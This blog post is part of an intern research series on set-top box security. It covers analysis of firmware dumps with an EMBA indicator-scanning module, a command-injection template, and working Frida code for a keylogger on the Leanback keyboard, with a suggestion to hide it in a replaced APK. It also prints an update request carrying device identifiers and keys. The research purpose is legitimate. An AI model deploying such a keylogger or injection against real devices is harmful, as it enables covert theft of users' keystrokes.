Set-Top Box RE: 6-part series (4 of 6)

August 29th, 2024 by Brian

The following is part 4 of a 6-part series detailing the examination of the security of Set-Top Boxes. The research was conducted by Om and Jack, two of our interns this past summer. Enjoy!

Blog Post 4: Analyzing the Firmware Dumps

Background Information

In our last post we wrote a Depthcharge script to extract the firmware from 4 of the STBs. We then live imaged one and made a custom ramdisk loaded through JTAG for another.

Overview

With this post we will analyze the firmware dumps we got to better understand how these STBs run. We will also look for known IoC, vulnerabilities, and suspicious files that could point towards malware.

EMBA

Now that we have the firmware dump from all STBs we need a way to efficiently analyze them. For us, we decided to use a tool called EMBA. EMBA is a tool that does automatic firmware analysis tool that we ran every firmware dump through. While EMBA is extremely helpful and relatively easy to write plugins for it does take a long time to run unless it is run on a very powerful machine.

EMBA scripting

EMBA is written in Bash, to write an EMBA script(module) you can follow the steps below. Create a function that will be called by the main EMBA program

#!/bin/bash -p

S18_ioc_scanner() {
  # required module setup 
  module_log_init "${FUNCNAME[0]}"
  module_title "APK IOC Scanner"
  pre_module_reporter "${FUNCNAME[0]}"

  #extract all apks
  apk_identifier
  # run through regex
  check_regex

  module_end_log "${FUNCNAME[0]}" "${#APK_ARR[@]}"
}

Extract all APKs from the unblobed firmware:


apk_identifier() {
  sub_module_title "APK identifier"
  export APK_ARR=()
  local APK=""
  mapfile -t APK_ARR < <(find "${LOG_DIR}"/firmware -type f -name "*.apk")
  print_output "Number of elements in APK_ARR: ${#APK_ARR[@]}"
  for APK in "${APK_ARR[@]}"; do
    print_output "[+] Found Android apk - ${ORANGE}$(print_path "${APK}")${NC}"
  done
}

Create some regexes and check if they match any strings found in the APKS:

#Check all strings in APKs based off the defined regex
check_regex() {
  # Define regex patterns for IOCs
  ipv4_regex="\b(?:\d{1,3}\.){3}\d{1,3}\b"
  ipv6_regex="\b(?:[A-F0-9]{1,4}:){7}[A-F0-9]{1,4}\b"
  url_regex="\bhttps?://\S+\b"
  defanged_url_regex="\bhttps?:\/\/(?:\S+[dot]\S+|\S+[colon]\S+)"
  md5_regex="\b[a-fA-F0-9]{32}\b"
  sha1_regex="\b[a-fA-F0-9]{40}\b"
  sha256_regex="\b[a-fA-F0-9]{64}\b"
  sha512_regex="\b[A-F0-9]{128}\b"
  email_regex="\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b"
  exe_extension_regex="\b\w+\.exe\b"
  btc_regex="\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b"
  eth_regex="\b0x[a-fA-F0-9]{40}\b"
  sh_regex="\b\w+\.sh\b"


  for APK in "${APK_ARR[@]}"; do
    sub_module_title "IOCs in $APK"

    local STR_ARR=()
    mapfile -t STR_ARR < <(strings "$APK")
    print_output "Total strings extracted: ${#STR_ARR[@]}"
    for value in "${STR_ARR[@]}"; do
      if [[ $value =~ $ipv4_regex ]]; then
        print_output "Potential IPv4 found: $value"
      elif [[ $value =~ $ipv6_regex ]]; then
        print_output "Potential IPv6 found: $value"
      elif [[ $value =~ $url_regex ]]; then
        print_output "Potential URL found: $value"
      elif [[ $value =~ $md5_regex ]]; then
        print_output "Potential MD5 found: $value"
      elif [[ $value =~ $defanged_url_regex ]]; then
        print_output "Potential Defanged URL found: $value"
      elif [[ $value =~ $sha1_regex ]]; then
        print_output "Potential SHA-1 found: $value"
      elif [[ $value =~ $sha256_regex ]]; then
        print_output "Potential SHA-256 found: $value"
      elif [[ $value =~ $sha512_regex ]]; then
        print_output "Potential SHA-512 found: $value"
      elif [[ $value =~ $email_regex ]]; then
        print_output "Potential Email found: $value"
      elif [[ $value =~ $exe_extension_regex ]]; then
        print_output "Potential EXE Extension found: $value"
      elif [[ $value =~ $btc_regex ]]; then
        print_output "Potential Bitcoin Address found: $value"
      elif [[ $value =~ $eth_regex ]]; then
        print_output "Potential Ethereum Address found: $value"
      elif [[ $value =~ $sh_regex ]]; then
        print_output "Potential .sh File Found found: $value"
      fi
    done
  done
}

While this script did not find any of our target IoCs we do believe it is still a useful resource to extract easy information from the APKs. It is good to note that it is not perfect, and some extraneous data could be reduced with regex tuning, but it was successfully able to isolate URLs, emails, and Bitcoin/Ethereum addresses with high success.

EMBA Results

EMBA generates a nice HTML page for us to use to look through the results. We did not do too much testing to exploit any vulnerabilities found in the results. However, we did attempt to exploit some of the vulnerable Python code found in the XBMC(Kodi) apk.

[+]  B602:subprocess_popen_with_shell_equals_true: subprocess call with shell=True identified, security issue.

That can be found in this function:

if self.sudo:
 x = check_output('echo \'%s\' | sudo -S %s' %(self._getpassword(), _cmd), shell=True)

Inherently this is vulnerable. If an attack was able to control the getpassword() function then they could inject code as follows:

echo "password"; sudo <insert malicious command here> | sudo -S %s

After investigating more it is clear the getpassword() uses only hardcoded variables so it is impossible for this to lead to command injection

As a note here we think that EMBA can be a very useful tool when triaging large firmware dumps. Had we not found ways of creating an exploit, then we would have come back to EMBA and started cycling through the vulnerabilities that it found.

JADX

For manual analysis of APKs, we used a tool called JADX, and a cool VScodeplugin based on JADX called APKlab. Both JADX and APKlab for disassembly of APKs to Smali and decompilation to Java. Primarily we used to look at system-specific APKs to see if there were mismanaged permissions, hardcoded keys, or inappropriate network connections.

FRIDA

In combination with JADX, we used FRIDA to hook functions in APKs. Frida is a super powerful tool and has tons of use cases, but for us, we were able to write a keylogger and use it to help reverse the update process on the T95. Frida scripts consist of two parts: a Python side that controls Frida and a javascript side that is the hook.

Key logger

We wrote a keylogger for the Google leanback ime which is a standard keyboard on a lot of these boxes. With a root shell like all of these boxes have it is easy to push a Frida server onto the box and interact with it on the same network. In lieu of explaining how to set up a server on one of these boxes please refer to the frida install guide which gives a solid process.

Using adb run the Frida server in the background on the box. Then we can start to interact with it using our script:

For the Python side, we want to start by setting up Frida by getting the PID of the keyboard process, normally you can call apk by name, but for some reason

def find_pid_by_filename():
 ps_process = subprocess.Popen(['frida-ps', '-U'], stdout=subprocess.PIPE)
 grep_process = subprocess.Popen(['grep', 'com.google.android.leanback.ime'], stdin=ps_process.stdout, stdout=subprocess.PIPE)
 ps_process.stdout.close()

 output = grep_process.communicate()[0].decode()
    if output:
 lines = output.strip().split('\n')
 pids = [line.split()[0] for line in lines]
        return pids
    else:
        return []

Next, we want to set up a way to save all the keystrokes we capture. We do this by simply writing the output to a file:

output_file = open("log", "w+")  

def on_message(message, data):
    if message['type'] == 'send':
 output_file.write(message['payload']) 

Finally, we can connect to the APK, hook it, and log its output to our output file

pid = int(find_pid_by_filename()[0])
device = frida.get_usb_device()
print(f'Successfull got usb device: {device}')
time.sleep(1)
print(f'Attempting to attach with pid: {pid}')
session = device.attach(pid)
script = session.create_script(open("hook.js").read())
script.load()
script.on('message', on_message)

input("Listening for keystrokes press ENTER to quit...\n")

output_file.close()

Now let’s look at how to hook the function. Most of this is generated for us by JADX which is super helpful. To do this: 1. Find the target JADX function 2. Right-click it and select “copy as frida snippet”

That’s it your done. One important note is the Java.perform at the top of the code block. This is important because it tells Frida to wait for the function to be hit, otherwise it will just exit the hook.

Java.perform(function() {
    let AnonymousClass1 = Java.use("com.google.leanback.ime.LeanbackImeService$1");
    AnonymousClass1["onEntry"].implementation = function (type, keyCode, result) {
        let logMessage = `${result}`;
        console.log(logMessage);
        send(logMessage); // Send the log message to Frida's output

        this["onEntry"](type, keyCode, result);
 };
});

With this rudimentary keylogger, it is possible to capture all keystrokes on the 8k618-T and another box with Google Leanback IME, if you want to improve on this it is possible to embed Frida into APKs, this would make it possible to replace an APK with a malicious one and hide it on the box. Also, it would be interesting to map the entire box so the keylogger could detect what APK the user is typing in.

T95 Update Hook

Let’s take a look at a different way to use Frida. In this case, we were working on the update process on the T95, there is a button that when clicked searches for an update. We were able to hook this and check the logs to get more info.

Similar to the keylogger example, we want to set up and run the Frida via a Python script:

import frida 
import sys

print('[ * ] Starting Frida')
with open('./t95hook.js', 'r') as f:
 jscode = f.read()

process = frida.get_usb_device()
print('[ * ] Device Attached')
session = process.attach('Wireless Update')
print('[ * ] Process Attached')
script=session.create_script(jscode)
script.load()
print('[ * ] Ready and Waiting...')
sys.stdin.read()

First, we captured the onClickQuery() function as that logs every time that we press the button this confirms that we are in the right spot. Then we use the hook below, it allows us to print multiple logs. We recommend to comment out all but one log function.

Java.perform(function() {
    // //Captures every click to update in wireless update
    let GoogleOtaClient = Java.use("com.adups.fota.GoogleOtaClient");
    GoogleOtaClient["onClickQuery"].implementation = function () {
        console.log(`GoogleOtaClient.onClickQuery is called`);
        this["onClickQuery"]();
 };


    //Print most logs
    let LogUtil = Java.use("com.adups.fota.utils.LogUtil");
    LogUtil["a"].overload('java.lang.String', 'java.lang.String', 'java.lang.Throwable', 'char').implementation = function (str, str2, th, c2) {
        console.log(`LogUtil.a is called: str=${str}, str2=${str2}, th=${th}, c2=${c2}`);
        this["a"](str, str2, th, c2);
 };

    //print secondary logs
    let LogUtil = Java.use("com.adups.fota.utils.LogUtil");
    LogUtil["b"].overload().implementation = function () {
        console.log('LogUtil.b is called');
        let result = this["b"]();
        console.log(`LogUtil.b result=${result}`);
        return result;
 };

    // // Get url that is requested by okhttp on click
    let b = Java.use("com.adups.fota.g.b");
    b["a"].overload('java.lang.String', 'java.util.Map').implementation = function (str, map) {
        console.log(`b.a is called: str=${str}, map=${map}`);
        let result = this["a"](str, map);
        console.log(`b.a result=${result}`);
        return result;
 };
});

This is where we see the power of Frida, from static network analysis we were able to that the request was being made from the following URL:

https://fota5p.adups.com/otainter-5.0/fota5/detectSchedule.do

{"check_freq":"1111","check_url":"http://test360.adups.cn/ota/"}

However from the LogUtil.a we were able to get the following URL parameters which leads to a different response after sending a POST request:

fota5p.adups.com/otainter-5.0/fota5/detectSchedule.do?
esn=6c001071b15487b2311
&appVersion=5.28.1.1.006_2019-10-12 15:23
&sendId=1075259712158&fcmId=f8XK2Gb8cWA:APA91bEZTI7AIKrfVxQnDLRX-mkqROqeU6mzycBhvqd4HtYLAUNutfwdIQDIeRVV9wdwkSWblSoCJo3HN4eqOGTG2AqtbPuMXV2-pQyg33lO8ahc-sWgs3HKCnvcxgZgHYZvYl1tIro-
&project=SV$H616$10.0.8_G859_en-US_other
&mid=20240610160428fY6312
&device_type=box
&appCode=215
&isActive=true&resolution=1280%23720&platform=H616_10.0
&local=en-US
&operator=
&mac=84:b4:d2:67:67:9e
&imei2=&devicesinfoExt=MBOX_google_walley_walleye_exdroid_Google_homlet_
&sdk_level=290&imei1=84:b4:d2:67:67:9e&spn2=&sdk_release=10
&spn1=
&agreeType=false
&androidId=c4a69d1bc0190476
&fotaSign=0fa78b3a85e16918027ccde109b2a5b7&version=10.1.A33_20240319-1222
&swFingerprint=google/walley/walleye:10/QP1A.191105.004/eng.cmj.20240319.122141:userdebug/test-keys&upgradeAgreement=false
&connect_type=-1
&isNewMid=0
&shaKey=0b1e8af8e4fb515c15405304b74907fd5cc3b4e2b5a72eb078cf715ad126a5b9
&key=E808000000000000000000000000004F939C14F9C9A6B4CF17E0EC020FB7A6D943A3B50E5BE5A3DD4AA4E00D0AE5A7CF13E3F2695CA6E5801DFDBF0A17E6AEC743BDB31109E4A0B640A3B30614E5A6C443A1A20E0CEEA4DA54E0E7515D9DF2D443A3B50A0BE1AFDE43A1B30A01F2F08A1FDAE6025FECCEA240D4E0075A83D7D333C3C30608B6D3B326DAB57E709FE48F24EBD3517D98C4B15FFEE94E6B9BE78C27A5EF4540B7D48104E2E60B71A0CFA533C6CC4A4DB2E18D3BC2C6765C86C0BF4BE4E6485287C18B1EC0ED7C73BBA5A13CA7E74E7693C2AE40D2F34B5B84E3A42AC5B0124985EF8E41A0EE7001B5FE8A5FE0D5584AE7DEA231FDF45C41B3CC8E3ACAD84960B8A79D3BE1ED121FA4E48618F6E14B0487C0CD3AA5B3091DE5A6C742BDBA607EECA3D02DF6EC126C87C98606FBE74D1FB9FF8D4FA1B20D0DE4A0D842A2B40F0DE6AE8F2BA5B10E0BF2F28C04FAE15A66A0EF9917AEE05041F2F79902D0ED5B5CE9A4D847B5EB4C78B7E28004F6BF4B4BA1F3CF00F6F15055A1E2801DFDBF0E0BECA6CA45A1B21949B8F79D14FCF052049CA0D844CCB30F17E4B0851DF0E35304B1F8C427C0A45049B1E48806FCF0021FB9F78A4FABB6055BE0AC8D40A9B40803E2A1D34BF6A45654B1FFDB4FB5E65A4FBDF58C01FAEC595691EE9D4FDEC070618BF1861DF4EE5A66A3F7851EF6FB604EB5FA8517EAE7605CACF29B1DFAE6607EBBF98E1EF6DD5756B9FA8C06CCA44C5DBFC98517E5E75304E6AFCF1BFEE75608E9AEDD48F1B6055DE6ACDF45A9B40803EDF3CF01E3EC0D04F2E58D19CCF05A55B1F79A17AEB30F1FA7E68743AEA45E5EA6F38C26EAF25A04B2F78501F6A45E57B0E4861BF7CB5B04B7A28844AAE60E5BB7A6D84BA3B6080FF2F08606F2D1565EBAABD914F2B5075BE7F7D147F6B30900E5AED940A4E15C5DB1A7D94BF1B05E0CB6A1CF04F6F04C50BBF8D443A3AC0E1795A5DA2DA1B20D0DE4A5D84BBEB30D0BE6B09A05D5EB515EB1E49900FAEC4B04B3F98615FFE7104EB5FA8517EAAD4858B8FA8C0BF6B80E09FBC7B943D2AC0E00E5A7D947BDB20F0DFBF38715BDE15253FAA4D940A7B20C08EDB8D840A1B30B08EEE39A17E1E65A5BA1F1C606F6F14B14BFF39001B5F74F5EA6F78D17D2E54D5CB1FB8C1CE7BF5958B8E58C54F0ED5157B1F59D2DE7FB4F5CE9BBD854FAF1715CA3DB8016AEB2

{“flag”:{“check_freq”:2940,“check_url”:“no”,“isFull”:0,“sendId”:“0”,“job_schedule_time”:“600#1440”,“job_schedule_downloading_time”:“60#1440”,“isupgrade”:1,“isReportApk”:0},“status”:1010}

These are two quick and easy examples of how to use Frida, but it does show just how much can be done when you can hook into an APK.

Conclusion

With this post we outlined some of the steps and tools used to analyze filesystems, in our next post we will look at the network traffic of the STBs to find suspicious behavior. We will also craft an exploit from what we find.